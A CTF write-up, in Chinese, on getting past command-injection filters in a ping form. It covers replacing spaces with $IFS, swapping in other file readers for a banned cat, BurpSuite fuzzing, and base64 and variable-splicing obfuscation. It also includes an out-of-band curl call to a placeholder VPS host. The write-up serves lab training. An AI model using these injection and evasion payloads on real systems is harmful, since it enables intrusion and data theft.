CTF命令执行绕过实战:从空格过滤到cat禁用,我的BurpSuite Fuzz测试笔记
1. 解题现场:当命令执行遇上过滤规则
那是一个典型的CTF Web题——页面只有一个简单的ping功能,输入框旁写着"试试看能不能ping通你的IP"。直觉告诉我,这里肯定藏着命令注入漏洞。我尝试输入127.0.0.1;ls,页面返回了目录列表,但当我兴奋地输入cat flag.txt时,却只看到冰冷的"Invalid input"。
第一次交锋:空格被过滤了。在Linux中,空格是命令参数的分隔符,但聪明的系统管理员知道过滤它。这时候需要祭出我们的替代方案:
# 常见空格绕过技术 cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat%09flag.txt提示:
$IFS是Linux的内部字段分隔符,默认包含空格、制表符和换行符。加上$9(当前shell的第9个参数,通常为空)可以避免解析歧义。
通过BurpSuite的Intruder模块,我快速测试了这些变体。发现$IFS$9可以完美绕过过滤,但新的问题出现了——页面返回了"cat command not allowed"。原来这道题是双重过滤:既过滤空格,又禁用cat命令。
2. 绕过艺术:当cat成为违禁词
禁用cat并不意味着无法读取文件。Linux提供了丰富的文件读取命令,就像瑞士军刀有多种工具可选:
| 命令 | 功能描述 | 绕过示例 |
|---|---|---|
| tac | 反向输出文件内容 | tac${IFS}flag.txt |
| more | 分页显示文件 | more${IFS}fl* |
| less | 可前后翻页的查看器 | less${IFS}f???.txt |
| head | 显示文件开头部分 | head${IFS}fla{g}.txt |
| tail | 显示文件末尾部分 | tail${IFS}f*.txt |
| nl | 显示带行号的内容 | nl${IFS}fla''g.txt |
| sort | 排序文件内容 | sort${IFS}f"l"ag.txt |
实战技巧:通配符在绕过中特别有用:
# 使用问号匹配单个字符 cat${IFS}fl?g.txt # 使用星号匹配任意字符 cat${IFS}fl*3. BurpSuite Fuzz测试实战
当手工测试效率低下时,BurpSuite的Intruder模块就是我们的自动化武器。以下是完整的Fuzz测试流程:
- 捕获请求:通过Proxy拦截正常的ping请求
- 标记参数:在Intruder中选中要测试的参数值
- 构建字典:准备包含各种绕过技术的字典文件:
{IFS} $IFS$9 %09 < %20 - 配置攻击类型:选择"Cluster bomb"以测试多种组合
- 结果分析:通过响应长度和内容识别成功payload
高级技巧:当命令无回显时,可以使用带外技术(OOB)检测:
# 在VPS上监听 nc -lvnp 80 # 测试payload 127.0.0.1;curl${IFS}http://your-vps-ip/4. 组合拳突破:编码与拼接技术
当单一绕过技术失效时,组合技往往能出奇制胜。以下是几种经典组合:
Base64编码绕过:
# 编码cat flag.txt echo${IFS}"Y2F0IGZsYWcudHh0Cg=="|base64${IFS}-d|sh变量拼接术:
# 拆分重组命令 a=c;b=at;c=fl;d=ag;$a$b${IFS}$c$d.txt # 利用环境变量 PATH=/usr/local/bin:/usr/bin:/bin ${PATH:7:1}${PATH:4:1}${IFS}flag.txt特殊字符插入:
c\at${IFS}fl''ag.txt c"a"t${IFS}fla*.txt5. 实战复盘:从踩坑到通关
回到那道双重过滤的题目,最终突破过程是这样的:
- 先用
$IFS$9绕过空格限制 - 发现cat被禁后,尝试
tac也被过滤 - 测试发现
more命令可用,但flag文件内容太长被截断 - 改用
head -n 50成功读取完整flag - 最终payload:
127.0.0.1;head${IFS}-n${IFS}50${IFS}fla*
经验总结:
- 永远准备Plan B:当一个命令被禁,立即尝试替代方案
- 模糊测试要系统化:按空格→命令→符号的顺序逐步测试
- 注意输出限制:有些命令会截断或分页显示,需要调整参数